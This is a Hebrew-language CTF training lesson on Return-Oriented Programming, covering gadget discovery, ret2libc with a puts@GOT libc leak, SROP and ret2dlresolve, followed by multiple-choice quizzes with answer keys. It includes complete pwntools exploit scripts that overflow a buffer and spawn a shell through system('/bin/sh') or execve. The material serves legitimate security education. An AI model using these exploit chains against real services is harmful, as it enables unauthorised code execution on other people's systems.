GammaCyber

ROP Chains

Binary Exploitation ו-Pwn · 5–6 שעות

// סקירה

ROP Chains — קוד שכבר שם

NX (No-Execute) מונע הרצת Shellcode מ-Stack. ROP (Return-Oriented Programming) עוקף זאת על ידי שרשור קטעי קוד קיימים בbinary — Gadgets — כל אחד מסתיים ב-ret, ויחד מבצעים כל פעולה.

🔗 בונה על שיעור 41

את יסודות ה-ROP — Gadgets, ROP Chain ו-ret2libc — בנית כבר בשיעור 41. כאן לא חוזרים עליהם מאפס, אלא עולים שלב: מציאת Gadgets בכלים אוטומטיים, חישוב libc_base מ-Leak, ו-SROP (Sigreturn-Oriented Programming) — הטכניקה שמצילה כשאין מספיק Gadgets. זהו ה-ROP ברמת ה-CTF המתקדם.

✓נושאי השיעור
  • מה הם ROP Gadgets ואיך הם עובדים
  • Stack Layout של ROP Chain — מה כותבים ואיפה
  • מציאת Gadgets — ROPgadget, ropper, pwntools ROP
  • ret2libc — קריאה לפונקציית libc ישירות
  • ret2plt — שימוש ב-PLT לקריאת פונקציות
  • SROP (Sigreturn ROP) — הגדרת כל הרגיסטרים בבת אחת
  • ROP ב-64bit — Calling Convention ו-pop rdi; ret
  • Exploit מלא: BOF → ROP → ret2libc → Shell
🎯 קשר למיוני גאמא
שיעור זה מכין לשלבים: Pwn עם NX מופעל — השיטה הסטנדרטית כיום · שאלון: מה הם ROP Gadgets, כיצד ret2libc עובד · CTF Binary Exploitation עם ASLR+NX · זיהוי Gadgets ב-Assembly
// פרק 1

ROP: עיקרון הפעולה וGadgets

כשNX מופעל, לא ניתן להריץ Shellcode ב-Stack. אבל ה-binary וה-libc כוללים קוד שכבר הורץ — ניתן לקפוץ לחתיכות קטנות ("Gadgets") ולשרשר אותן דרך ה-Stack.

מה זה Gadget?

; ─── Gadget = רצף Assembly קצר שמסתיים ב-ret ───────────── ; כל פונקציה ב-binary מכילה הרבה ret instructions ; ROP מחפש רצפים שימושיים לפני כל ret: ; Gadget 1: pop rdi; ret ← שים ערך ב-rdi (arg1 ב-64bit) ; Gadget 2: pop rsi; ret ← שים ערך ב-rsi (arg2) ; Gadget 3: pop rdx; ret ← שים ערך ב-rdx (arg3) ; Gadget 4: pop rax; ret ← שים ערך ב-rax (syscall number) ; Gadget 5: syscall; ret ← ביצוע syscall ; Gadget 6: mov [rdi], rax; ret ← כתוב rax ל-[rdi] ; ─── כיצד Gadget עובד ─────────────────────────────────── ; נניח Stack נראה כך: ; [rsp+0] = 0x401234 ← כתובת Gadget: pop rdi; ret ; [rsp+8] = 0xdeadbeef ← הערך שrdi יקבל ; [rsp+16] = 0x401400 ← כתובת הGadget הבא ; ; CPU: ; 1. ret → pop rip = 0x401234 (Gadget 1 רץ) ; 2. pop rdi = 0xdeadbeef (rdi = 0xdeadbeef) ; 3. ret → pop rip = 0x401400 (Gadget 2 רץ)

Stack Layout של ROP Chain

; ─── Buffer Overflow → ROP Chain ──────────────────────────── ; נניח: Buffer 64 bytes, RBP 8 bytes → offset=72 לreturn addr ; Payload (64bit): ; [64 bytes junk][8 bytes saved rbp][ROP Chain...] ; ROP Chain לביצוע system("/bin/sh"): ; [pop_rdi_ret] ← כתובת Gadget "pop rdi; ret" ; [binsh_addr] ← "/bin/sh" ב-libc (arg1 של system) ; [ret_gadget] ← "ret" בלבד (Stack alignment!) ; [system_addr] ← כתובת system() ב-libc ; ─── מדוע ret לפני system? ────────────────────────────────── ; ב-64bit: system() דורש שה-Stack יהיה מיושר ל-16 bytes ; לפעמים צריך Gadget "ret" נוסף לתיקון היישור ; בלעדיו: Crash בmovaps ב-system()
💡 מדוע ROP עוקף NX?
NX מסמן דפי זיכרון כ-לא-ניתן-להרצה (Stack, Heap). ה-CPU מסרב להריץ קוד מהם. אבל Gadgets נמצאים ב-קטעי הקוד הקיימים (.text של binary, libc) — אשר מסומנים כ-Executable. ROP לא מריץ קוד חדש, אלא מקפץ בין קוד קיים. NX לא יכול לעצור זאת.
✏תרגול עצמי3 שאלות
שאלה 1.1 — ROP Gadget
מדוע כל ROP Gadget חייב להסתיים ב-ret?
✓ תשובה: ב) — ret = pop rip (מה-Stack). אחרי כל Gadget, ה-rsp מצביע לכתובת הGadget הבא ב-Chain. ret לוקח אותה, ועובר לשם. בלי ret — שרשור לא אפשרי.
שאלה 1.2 — NX ו-ROP
מדוע ROP עוקף NX אך Shellcode ב-Stack לא?
✓ תשובה: א) — NX = No-Execute bit ב-Page Table. Stack page: NX=1 → CPU זורק exception אם מנסים להריץ. .text/libc pages: NX=0 (executable). ROP רק קופץ לכתובות executable → לא מפר NX.
שאלה 1.3 — Dry Run Stack
; Stack (rsp מצביע לכאן): ; [rsp+0] = 0x401100 ; pop rax; ret ; [rsp+8] = 0x000000000000003b ; 59 = execve syscall ; [rsp+16] = 0x401200 ; pop rdi; ret ; [rsp+24] = 0xdeadbeef ; [rsp+32] = 0x401300 ; syscall; ret ; הוראה שמריצה עכשיו: retמה רץ ראשון ולאחריו?
✓ תשובה: ב) — ret: pop rip=0x401100, rsp+=8. Gadget1: pop rax=[rsp]=0x3b, rsp+=8, ret→rip=0x401200. Gadget2: pop rdi=[rsp]=0xdeadbeef, rsp+=8, ret→rip=0x401300. Gadget3: syscall (execve). ROP Chain מדויק!
// פרק 2

מציאת Gadgets: ROPgadget, ropper ו-pwntools

הצעד הראשון בבניית ROP Chain הוא מציאת Gadgets שימושיים בbinary ובlibc. קיימים כלים אוטומטיים שסורקים את הbinary ומחזירים רשימה של כל הGadgets.

ROPgadget — כלי הסטנדרט

# ─── ROPgadget ───────────────────────────────────────────── ROPgadget --binary ./vuln --rop # פלט לדוגמה: # 0x0000000000401234 : pop rdi ; ret # 0x0000000000401238 : pop rsi ; pop r15 ; ret # 0x000000000040123c : pop rdx ; ret # 0x0000000000401240 : ret # 0x0000000000401244 : syscall ; ret # חיפוש ספציפי: ROPgadget --binary ./vuln --rop | grep "pop rdi" # 0x0000000000401234 : pop rdi ; ret ← זה מה שצריך! ROPgadget --binary ./vuln --string "/bin/sh" # 0x00000000004005d0 : /bin/sh ← אם קיים ב-binary # ─── ropper ────────────────────────────────────────────── ropper -f ./vuln --search "pop rdi" ropper -f ./vuln --chain "execve" # ניסיון בניית chain אוטומטי # ─── pwntools ROP object ───────────────────────────────── from pwn import * elf = ELF('./vuln') rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret = rop.find_gadget(['ret'])[0] print(f'pop rdi; ret @ {hex(pop_rdi)}') print(f'ret @ {hex(ret)}')

Gadgets שכיחים ב-64bit

Gadgetשימושמדוע?
pop rdi; retarg1 לפונקציהrdi = arg1 ב-64bit calling convention
pop rsi; retarg2rsi = arg2
pop rdx; retarg3rdx = arg3
pop rax; retsyscall numberrax = מזהה syscall
syscall; retהפעל syscallkernel מבצע לפי rax
retStack alignmentsystem() דורש RSP % 16 == 0
mov [rdi], rax; retכתיבה לזיכרוןשם מחרוזות ב-Writable memory
✏תרגול עצמי3 שאלות
שאלה 2.1 — Calling Convention
ב-64bit Linux, אם רוצים לקרוא ל-system("/bin/sh") דרך ROP, איזה Gadget חייבים לפני כתובת system()?
✓ תשובה: ג) — 64bit Linux Calling Convention (System V AMD64 ABI): arg1=rdi, arg2=rsi, arg3=rdx, arg4=rcx, arg5=r8, arg6=r9. system("/bin/sh"): צריך rdi="/bin/sh". Gadget: pop rdi; ret → מכניס כתובת /bin/sh לrdi.
שאלה 2.2 — Stack Alignment
מדוע לפעמים צריך להוסיף Gadget ret בלבד לפני system()?
✓ תשובה: ד) — movaps (SSE instruction) דורש RSP % 16 == 0 (128-bit alignment). אם Stack לא מיושר → SIGSEGV בתוך system(). ret גורם ל-rsp += 8. אם לפני system() rsp % 16 == 8, ret אחד מתקן ל-0. בdebug: Crash ב-movaps = alignment issue!
שאלה 2.3 — pwntools ROP
מה עושה הקוד: rop.find_gadget(['pop rdi', 'ret'])[0]?
✓ תשובה: ב) — pwntools ROP.find_gadget(instructions) סורק את ה-binary וmחזיר רשימת tuples של (address, gadget_string). [0] = הכתובת. שימוש: pop_rdi = rop.find_gadget(['pop rdi','ret'])[0] → pop_rdi = 0x401234.
// פרק 3

ret2libc: קריאה ישירה לפונקציות libc

ret2libc היא שיטת ROP הקלאסית: במקום Shellcode, קופצים לפונקציה קיימת בlibc (כמו system()) עם הארגומנטים הנכונים. עם ASLR — צריך קודם לLeak כתובת libc.

ret2libc ללא ASLR (פשוט)

from pwn import * elf = ELF('./vuln_no_aslr') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') conn = process('./vuln_no_aslr') # ─── מצא Gadgets ───────────────────────────────────────── rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret_gadg = rop.find_gadget(['ret'])[0] # ─── כתובות (ידועות כשאין ASLR) ───────────────────────── system_addr = libc.sym['system'] binsh_addr = next(libc.search(b'/bin/sh')) # ─── בנה Payload ───────────────────────────────────────── offset = 72 # bytes עד return address (BOF offset) payload = b'A' * offset # fill buffer + saved rbp payload += p64(pop_rdi) # Gadget: pop rdi; ret payload += p64(binsh_addr) # rdi = "/bin/sh" payload += p64(ret_gadg) # alignment payload += p64(system_addr) # call system("/bin/sh") conn.sendline(payload) conn.interactive() # Shell!

ret2libc עם ASLR — Leak קודם

from pwn import * elf = ELF('./vuln_aslr') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') conn = remote('ctf.example.com', 1337) rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret_g = rop.find_gadget(['ret'])[0] # ─── שלב 1: Leak כתובת libc דרך puts@PLT ─────────────── # מטרה: קרא לputs(puts@GOT) → puts מדפיסה כתובתה ב-libc puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = elf.sym['main'] offset = 72 leak_payload = b'A' * offset leak_payload += p64(pop_rdi) # rdi = puts@GOT leak_payload += p64(puts_got) leak_payload += p64(puts_plt) # call puts(puts@GOT) leak_payload += p64(main) # חזור למain לround 2 conn.sendline(leak_payload) conn.recvuntil(b'\n') # דלג פלט ראשוני # ─── שלב 2: פרסר את הLeak ────────────────────────────── leaked = u64(conn.recv(6).ljust(8, b'\x00')) libc.address = leaked - libc.sym['puts'] print(f'libc base: {hex(libc.address)}') system_addr = libc.sym['system'] binsh_addr = next(libc.search(b'/bin/sh')) # ─── שלב 3: Shell Payload ──────────────────────────────── shell_payload = b'A' * offset shell_payload += p64(pop_rdi) shell_payload += p64(binsh_addr) shell_payload += p64(ret_g) shell_payload += p64(system_addr) conn.sendline(shell_payload) conn.interactive() # Shell!
הרחבה PLT ו-GOT — כיצד Leak עובד ›
/* PLT (Procedure Linkage Table): stub לקריאת פונקציות דינמיות GOT (Global Offset Table): טבלה עם כתובות libc בזמן ריצה ─── כיצד puts@PLT עובד ───────────────────────────────── CALL puts@PLT → PLT stub: jmp [puts@GOT] ← קרא כתובת מGOT וקפוץ לשם בפעם ראשונה: GOT → dynamic linker → ממלא GOT בכתובת אמיתית בפעמים הבאות: GOT כבר מכיל puts@libc → קפוץ ישירות ─── Leak ──────────────────────────────────────────────── ROP: pop rdi; ret → puts@GOT → puts@PLT = call puts(puts@GOT) = puts מדפיסה 8 bytes = כתובת puts@libc libc_base = leaked_puts - libc.sym['puts'] ✓ */
✏תרגול עצמי3 שאלות
שאלה 3.1 — ret2libc
מה הסדר הנכון של הערכים ב-Stack בret2libc לביצוע system("/bin/sh") ב-64bit?
✓ תשובה: ד) — Execution flow: ret → pop_rdi (Gadget). pop rdi = binsh_addr. ret → ret_gadget (alignment). ret → system_addr. system() רץ עם rdi="/bin/sh". ← הסדר חיוני! כל ret מקדם את rsp ב-8.
שאלה 3.2 — Leak עם puts
מדוע בשלב הLeak קוראים ל-puts(puts@GOT) ולא ל-puts(system@GOT)?
✓ תשובה: ב) — GOT entry מתמלא בכתובת אמיתית רק אחרי הקריאה הראשונה לפונקציה. puts נקרא בדרך כלל לפני הbug (להדפסת הפרומפט), לכן puts@GOT כבר מלא. system לא בהכרח נקרא לפני. גם: libc_base = any_libc_func_addr - libc.sym[that_func].
שאלה 3.3 — Dry Run Leak
puts@GOT = 0x601018 # ב-memory: [0x601018] = 0x7f4a8c234560 (puts@libc) # libc.sym['puts'] = 0x80560 (offset בlibc) # ROP קרא לputs(0x601018) # puts הדפיסה 6 bytes: \x60\x45\x23\x8c\x4a\x7f leaked = u64(b'\x60\x45\x23\x8c\x4a\x7f'.ljust(8, b'\x00')) # מה libc_base?
✓ תשובה: ג) — leaked = 0x7f4a8c234560 (puts@libc). libc.sym['puts'] = offset = 0x80560. libc_base = leaked - offset = 0x7f4a8c234560 - 0x80560 = 0x7f4a8c1b4000. ← כל כתובת libc = libc_base + offset.
// פרק 4

SROP ו-ROP מתקדם: כשאין מספיק Gadgets

לעתים ב-binary קטן (statically-linked ללא libc, או stripped) אין מספיק Gadgets. SROP (Sigreturn ROP) מאפשר הגדרת כל הרגיסטרים בבת אחת באמצעות syscall אחד.

SROP — Sigreturn Oriented Programming

/* ─── עיקרון SROP ───────────────────────────────────────── sigreturn syscall (15 ב-Linux x64) משחזר את כל הרגיסטרים מ-SigreturnFrame שב-Stack. ROP מזייף Frame זה. מה SigreturnFrame מכיל? כל הרגיסטרים: rax, rbx, rcx, rdx, rsi, rdi, rsp, rip, + segments + flags צריך רק: 1. Gadget: syscall; ret 2. Gadget: pop rax; ret (לשים 15 ב-rax) 3. "/bin/sh" שמור בזיכרון 4. Frame מסודר ב-Stack */ from pwn import * elf = ELF('./tiny_binary') conn = remote('ctf.example.com', 1337) # ─── Gadgets (לרוב נמצאים גם ב-minimal binary) ────────── syscall_ret = 0x401020 # syscall; ret pop_rax_ret = 0x401018 # pop rax; ret # "/bin/sh" שמור ב-BSS (writable): binsh_addr = elf.bss() + 0x100 # בחלק הBSS # ─── בנה SigreturnFrame ────────────────────────────────── frame = SigreturnFrame() frame.rax = 59 # execve syscall frame.rdi = binsh_addr # arg1 = "/bin/sh" frame.rsi = 0 # arg2 = NULL frame.rdx = 0 # arg3 = NULL frame.rip = syscall_ret # אחרי sigreturn, רץ syscall offset = 40 payload = b'A' * offset payload += p64(pop_rax_ret) payload += p64(15) # SYS_rt_sigreturn payload += p64(syscall_ret) # sigreturn! payload += bytes(frame) # ← כל הרגיסטרים! conn.sendline(payload) conn.interactive() # Shell!
הרחבה ret2plt ו-ret2dlresolve — טכניקות נוספות ›
# ─── ret2plt ───────────────────────────────────────────── # כשlibcbase ידוע: קרא לפונקציה דרך PLT ישירות # אין צורך לחשב כתובת — PLT מטפל בזה # payload: pop rdi + binsh + system@plt (לא libc!) # עובד כשPIE כבוי (binary לא randomized) system_plt = elf.plt['system'] # PLT = כתובת קבועה (ללא ASLR) payload = b'A'*offset + p64(pop_rdi) + p64(binsh) + p64(system_plt) # ─── ret2dlresolve ──────────────────────────────────────── # טכניקה מתקדמת: מזייפים את מנגנון הDynamic Linking # גורמים ל-ld.so לpatch את GOT עם כתובת של פונקציה שאנחנו בוחרים # שימושי כשאין Leak וכשlibcbase לא ידוע # pwntools: Ret2dlresolvePayload object תומך בבנייה אוטומטית from pwn import * elf = ELF('./vuln') rop = ROP(elf) dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh']) rop.raw(rop.find_gadget(['ret'])[0]) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain()
✏תרגול עצמי3 שאלות
שאלה 4.1 — SROP
מה יתרון SROP על ROP רגיל כשאין מספיק Gadgets?
✓ תשובה: א) — sigreturn (syscall 15) קורא sigreturn frame מה-Stack ומשחזר את כל הרגיסטרים. SROP מזייף frame זה. רק צריך: pop rax; ret (לשים 15), syscall; ret. שאר הרגיסטרים (rdi, rsi, rip...) מגיעים מה-Frame!
שאלה 4.2 — בחירת טכניקה
קיבלת binary עם NX, ASLR, ללא PIE. איזו טכניקת ROP תעבוד?
✓ תשובה: ב) — ללא PIE: binary נטען לכתובת קבועה → PLT קבוע (0x401xxx). ASLR = רק libc randomized. אם system@plt קיים: pop rdi + binsh + system@plt. אם לא: Leak puts@libc → חשב libc_base → system@libc + /bin/sh@libc.
שאלה 4.3 — Dry Run SROP Frame
ב-SROP, אם מגדירים frame.rax=59, frame.rdi=binsh, frame.rsi=0, frame.rdx=0, frame.rip=syscall_addr, מה יקרה אחרי ה-sigreturn?
✓ תשובה: ג) — sigreturn משחזר את כל ה-CPU state מה-Frame. אחרי כן: rip=syscall_addr → מריץ syscall עם rax=59 (SYS_execve), rdi="/bin/sh", rsi=NULL, rdx=NULL → execve → Shell! זה כוחו של SROP — פעולה אחת מגדירה הכל.
// פרק 5

Exploit מלא: BOF → ROP → Shell

הנה ה-Exploit המלא עם ASLR ו-NX. שני שלבים: Leak libc, ואז Shell.

from pwn import * elf = ELF('./pwn_chal') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') conn = remote('ctf.example.com', 1337) rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret_g = rop.find_gadget(['ret'])[0] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_sym = elf.sym['main'] OFFSET = 72 # offset לreturn address (מצא עם cyclic()) # ═══ Round 1: Leak libc ════════════════════════════════════ p1 = b'A' * OFFSET p1 += p64(pop_rdi) + p64(puts_got) # rdi = puts@GOT p1 += p64(puts_plt) # puts(puts@GOT) → leak! p1 += p64(main_sym) # חזור למain conn.sendlineafter(b': ', p1) conn.recvline() # אם יש output לפני הleak puts_addr = u64(conn.recvline().strip().ljust(8, b'\x00')) libc.address = puts_addr - libc.sym['puts'] log.success(f'libc @ {hex(libc.address)}') system_addr = libc.sym['system'] binsh_addr = next(libc.search(b'/bin/sh\x00')) # ═══ Round 2: Shell ═══════════════════════════════════════ p2 = b'A' * OFFSET p2 += p64(pop_rdi) + p64(binsh_addr) # rdi = "/bin/sh" p2 += p64(ret_g) # stack alignment p2 += p64(system_addr) # system("/bin/sh") conn.sendlineafter(b': ', p2) conn.interactive() # 🐚 SHELL!
✓מה למדנו בשיעור 45
  • ROP = שרשור Gadgets (Assembly קצר + ret) דרך ה-Stack לעקיפת NX
  • Gadget = רצף הוראות המסתיים ב-ret. מציאה: ROPgadget, ropper, pwntools ROP
  • 64bit Calling Convention: arg1=rdi, arg2=rsi, arg3=rdx → חייבים pop rdi; ret
  • Stack Alignment: לפעמים צריך ret נוסף לפני system() (movaps דורש RSP%16==0)
  • ret2libc: Gadgets + system() + "/bin/sh" + ללא ASLR = ישיר
  • עם ASLR: Leak libc קודם דרך puts(puts@GOT) → חשב libc_base → Round 2
  • PLT/GOT: PLT=stub לlibc. GOT=טבלת כתובות. Leak GOT entry = libc address
  • SROP: syscall sigreturn (15) + SigreturnFrame = הגדרת כל הרגיסטרים בבת אחת
  • Flow: BOF → overflow return addr → ROP Chain → Leak → libc_base → Shell Payload → Shell
🎯 השיעור הבא
שיעור 46 — ASLR+PIE+Canary Bypass: טכניקות מתקדמות לעקיפת כל ההגנות
✏תרגול סיום — גאמא סגנון3 שאלות
גאמא סגנון א׳
OFFSET = 40 pop_rdi = 0x401233 ret_g = 0x40101a system = 0x7f... # (libc_base + offset, ידוע אחרי leak) binsh = 0x7f... # (libc_base + offset) payload = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(system) # מה יקרה כשPayload זה נשלח?
✓ תשובה: א) — חסר Stack Alignment! בלי ret_g: rsp%16 != 0 כשנכנסים לsystem(). movaps (בתוך system) זורק SIGSEGV. תיקון: payload = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(ret_g) + p64(system).
גאמא סגנון ב׳ — Leak Dry Run
# puts@GOT מכיל: 0x7f8a3c456790 # libc.sym['puts'] = 0x84790 # libc.sym['system']= 0x52290 # libc.sym['__libc_start_main'] = 0x23f90 # לאחר Leak: leaked = 0x7f8a3c456790 libc.address = leaked - libc.sym['puts'] system_addr = libc.sym['system'] # מה system_addr?
✓ תשובה: ג) — libc_base = leaked_puts - puts_offset = 0x7f8a3c456790 - 0x84790 = 0x7f8a3c3d2000. system = libc_base + system_offset = 0x7f8a3c3d2000 + 0x52290 = 0x7f8a3c424290. בדיקה: system - libc_base = 0x52290 ✓
גאמא סגנון ג׳ — ROP Chain מלא
; Binary: NX=ON, ASLR=ON, PIE=OFF ; pop rdi; ret @ 0x401234 ; ret @ 0x40101a ; puts@plt = 0x401060 ; puts@got = 0x601018 ; main = 0x4011a0 ; OFFSET = 72מה ה-Payload הנכון לshלב הLeak?
✓ תשובה: א) — Payload: [junk×72][pop_rdi=0x401234][puts@GOT=0x601018][puts@PLT=0x401060][main=0x4011a0]. Execution: ret→pop_rdi. pop rdi=0x601018 (puts@GOT). ret→puts@PLT. puts מדפיסה תוכן 0x601018 = puts@libc. ret→main (round 2).
// תרגול נוסף

תרגול נוסף — Exploitation: Offsets ו-Canary

שאלות העשרה נוספות לחיזוק החומר של השיעור — באותו פורמט בחירה של הקורס.

✏תרגול נוסף3 שאלות
שאלה 5.1 [בינוני]
עבור buf=64 בתים, מהו ה-offset ל-Return Address ב-cdecl (x86)?
✓ תשובה נכונה: ג — Stack Frame (x86): buf(64) + Saved EBP(4) = 68 בתים עד Return Address. Offset=68. תמיד וודא בפועל עם cyclic (Alignment/ABI).
שאלה 5.2 [בינוני]
מה מחזירה p32(0x08048456) ב-pwntools?
✓ תשובה נכונה: ג — p32 אורז int ל-4 בתים Little Endian: 0x08048456 → b'\x56\x84\x04\x08'. הכרחי לבניית Payload עם כתובת יעד לקפיצה.
שאלה 5.3 [קשה]
זוהה Stack Canary. כיצד בכל זאת אפשר לעקוף אותו?
✓ תשובה נכונה: א — Canary נבדק לפני ret. עוקפים בדליפת ערכו (Format String / Info Leak), ואז משבצים אותו נכון ב-Payload. ל-PIE/ASLR צריך גם דליפת כתובות.
// אתגר מעשי

אתגר מעשי — ASLR — למה צריך leak

שיא השיעור: להבין את הפגיעות, לזהות אותה בקוד ובבינארי, ולהקשיח מולה. ההגשה נבדקת אוטומטית מול בינאריים אמיתיים.

T3 · בינוני300 נק'~12 דק'analysis
למה ASLR דורש דליפת-כתובת
ASLR ממקם את הספריות (libc) בכתובת אקראית בכל הרצה. כדי לבנות שרשרת שמשתמשת בכתובות libc, מה התוקף חייב להשיג תחילה? (a) Stack Canary (b) דליפת כתובת (info leak) לחישוב הבסיס (c) כיבוי NX (d) buffer גדול יותר
דוגמאות
(פורמט) → אות
הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס למה ASLR דורש דליפת-כתובת ›
b — עם ASLR הכתובות משתנות בכל הרצה, ולכן צריך תחילה *לדלוף* כתובת ידועה (למשל מ-GOT) כדי לחשב את בסיס ה-libc. זו הסיבה שהגנות leak-resistance חשובות.
שאלות תרגול ותשובות (18)

שאלה 1.1 — ROP Gadget · מדוע כל ROP Gadget חייב להסתיים ב-ret?

  • א. מכיוון שהפקודה ret היא פשוט הפעולה המהירה ביותר בכל מעבד שהוא כיום
  • ב. ret מבצע pop rip מן ה-Stack, שם יושבת כתובת ה-Gadget הבא בשרשרת
  • ג. מכיוון שהפקודה ret מנקה את ה-Stack מכל הערכים שנדחפו אליו קודם לכן
  • ד. מכיוון שהפקודה ret היא זו שעוקפת את מנגנון ה-ASLR של מערכת ההפעלה
תשובה: ב

✓ תשובה: ב) — ret = pop rip (מה-Stack). אחרי כל Gadget, ה-rsp מצביע לכתובת הGadget הבא ב-Chain. ret לוקח אותה, ועובר לשם. בלי ret — שרשור לא אפשרי.

שאלה 1.2 — NX ו-ROP · מדוע ROP עוקף NX אך Shellcode ב-Stack לא?

  • א. ROP קופץ לקוד שב-.text/libc (דפים Executable), ו-Shellcode ב-Stack לא
  • ב. מכיוון שטכניקת ROP אינה עושה שימוש כלל ב-Stack במהלך כל הניצול הזה
  • ג. מכיוון שטכניקת ROP מצפינה את הקוד שלה, ולכן מנגנון ה-NX אינו חוסמה
  • ד. מכיוון שטכניקת ROP עושה שימוש אך ורק בפונקציות מתוך ספריית libc כאן
תשובה: א

✓ תשובה: א) — NX = No-Execute bit ב-Page Table. Stack page: NX=1 → CPU זורק exception אם מנסים להריץ. .text/libc pages: NX=0 (executable). ROP רק קופץ לכתובות executable → לא מפר NX.

שאלה 1.3 — Dry Run Stack · ; Stack (rsp מצביע לכאן): ; [rsp+0] = 0x401100 ; pop rax; ret ; [rsp+8] = 0x000000000000003b ; 59 = execve syscall ; [rsp+16] = 0x401200 ; pop rdi; ret ; [rsp+24] = 0xdeadbeef ; [rsp+32] = 0x401300 ; syscall; ret ; הוראה שמריצה עכשיו: retמה רץ ראשון ולאחריו?

; Stack (rsp מצביע לכאן):
; [rsp+0]  = 0x401100  ; pop rax; ret
; [rsp+8]  = 0x000000000000003b  ; 59 = execve syscall
; [rsp+16] = 0x401200  ; pop rdi; ret
; [rsp+24] = 0xdeadbeef
; [rsp+32] = 0x401300  ; syscall; ret

; הוראה שמריצה עכשיו: ret
  • א. הפקודה syscall היא זו שרצה ראשונה, עוד לפני כל שאר הפעולות בשרשרת
  • ב. ret ← pop rax=0x3b ← ret ← pop rdi=0xdeadbeef ← ret ← syscall
  • ג. נגרם Crash מיידי, מכיוון שמבנה ה-Stack כאן אינו תקין כלל בכלל
  • ד. הפקודה pop rdi היא זו שרצה ראשונה, עוד לפני הטעינה של pop rax כאן
תשובה: ב

✓ תשובה: ב) — ret: pop rip=0x401100, rsp+=8. Gadget1: pop rax=[rsp]=0x3b, rsp+=8, ret→rip=0x401200. Gadget2: pop rdi=[rsp]=0xdeadbeef, rsp+=8, ret→rip=0x401300. Gadget3: syscall (execve). ROP Chain מדויק!

שאלה 2.1 — Calling Convention · ב-64bit Linux, אם רוצים לקרוא ל-system("/bin/sh") דרך ROP, איזה Gadget חייבים לפני כתובת system()?

system("/bin/sh")
  • א. pop rax; ret: טעינת ערך אל הרגיסטר rax עוד לפני הקריאה אל system
  • ב. push rdi; ret: דחיפת הארגומנט אל תוך ה-Stack לפני הקריאה אל system
  • ג. pop rdi; ret: ב-64bit הארגומנט הראשון מועבר ברגיסטר rdi אל system
  • ד. push rbp; ret: שמירת מצביע הבסיס אל ה-Stack לפני הקריאה אל system
תשובה: ג

✓ תשובה: ג) — 64bit Linux Calling Convention (System V AMD64 ABI): arg1=rdi, arg2=rsi, arg3=rdx, arg4=rcx, arg5=r8, arg6=r9. system("/bin/sh"): צריך rdi="/bin/sh". Gadget: pop rdi; ret → מכניס כתובת /bin/sh לrdi.

שאלה 2.2 — Stack Alignment · מדוע לפעמים צריך להוסיף Gadget ret בלבד לפני system()?

  • א. מכיוון שהפונקציה system דורשת שהרגיסטר rax יהיה שווה לאפס כאן כן
  • ב. מכיוון שהכלי ROPgadget פשוט מחייב תמיד להוסיף ret נוסף בכל שרשרת
  • ג. כדי לעקוף את מנגנון ה-ASLR עוד לפני הקריאה לפונקציה system כאן
  • ד. system משתמשת ב-movaps שדורש RSP מיושר ל-16; ret נוסף מתקן יישור
תשובה: ד

✓ תשובה: ד) — movaps (SSE instruction) דורש RSP % 16 == 0 (128-bit alignment). אם Stack לא מיושר → SIGSEGV בתוך system(). ret גורם ל-rsp += 8. אם לפני system() rsp % 16 == 8, ret אחד מתקן ל-0. בdebug: Crash ב-movaps = alignment issue!

שאלה 2.3 — pwntools ROP · מה עושה הקוד: rop.find_gadget(['pop rdi', 'ret'])[0]?

rop.find_gadget(['pop rdi', 'ret'])[0]
  • א. מריץ בפועל את ה-Gadget שנמצא, ישירות מתוך סביבת pwntools עצמה כאן
  • ב. מחפש בבינארי את הרצף [pop rdi; ret] ומחזיר את כתובתו הראשונה בו
  • ג. מוחק את ה-Gadget שנמצא מתוך הבינארי כדי למנוע שימוש חוזר בו אחר-כך
  • ד. בודק אך ורק האם ה-Gadget קיים בבינארי, ומחזיר ערך של אמת או שקר
תשובה: ב

✓ תשובה: ב) — pwntools ROP.find_gadget(instructions) סורק את ה-binary וmחזיר רשימת tuples של (address, gadget_string). [0] = הכתובת. שימוש: pop_rdi = rop.find_gadget(['pop rdi','ret'])[0] → pop_rdi = 0x401234.

שאלה 3.1 — ret2libc · מה הסדר הנכון של הערכים ב-Stack בret2libc לביצוע system("/bin/sh") ב-64bit?

  • א. [system_addr][binsh_addr][pop_rdi]: הפונקציה תחילה ואז הארגומנט לה
  • ב. [binsh_addr][system_addr][pop_rdi]: הארגומנט תחילה ואז הפונקציה כאן
  • ג. [ret][pop_rdi][binsh_addr][system_addr]: ה-ret מוצב בראש כל השרשרת
  • ד. [pop_rdi][binsh_addr][ret][system_addr]: pop לוקח binsh, ret מיישר
תשובה: ד

✓ תשובה: ד) — Execution flow: ret → pop_rdi (Gadget). pop rdi = binsh_addr. ret → ret_gadget (alignment). ret → system_addr. system() רץ עם rdi="/bin/sh". ← הסדר חיוני! כל ret מקדם את rsp ב-8.

שאלה 3.2 — Leak עם puts · מדוע בשלב הLeak קוראים ל-puts(puts@GOT) ולא ל-puts(system@GOT)?

  • א. מכיוון שהערך שבתוך system@GOT מוצפן, ולכן לא ניתן כלל לדלוף ממנו
  • ב. שתיהן עובדות; בוחרים ב-puts@GOT כי puts תמיד קיים ומאוכלס מראש
  • ג. מכיוון שהערך שבתוך system@GOT מרונדם מחדש בכל הרצה של התוכנית הזו
  • ד. מכיוון שרק puts@PLT זמין בבינארי, בעוד system@PLT חסר בו לחלוטין
תשובה: ב

✓ תשובה: ב) — GOT entry מתמלא בכתובת אמיתית רק אחרי הקריאה הראשונה לפונקציה. puts נקרא בדרך כלל לפני הbug (להדפסת הפרומפט), לכן puts@GOT כבר מלא. system לא בהכרח נקרא לפני. גם: libc_base = any_libc_func_addr - libc.sym[that_func].

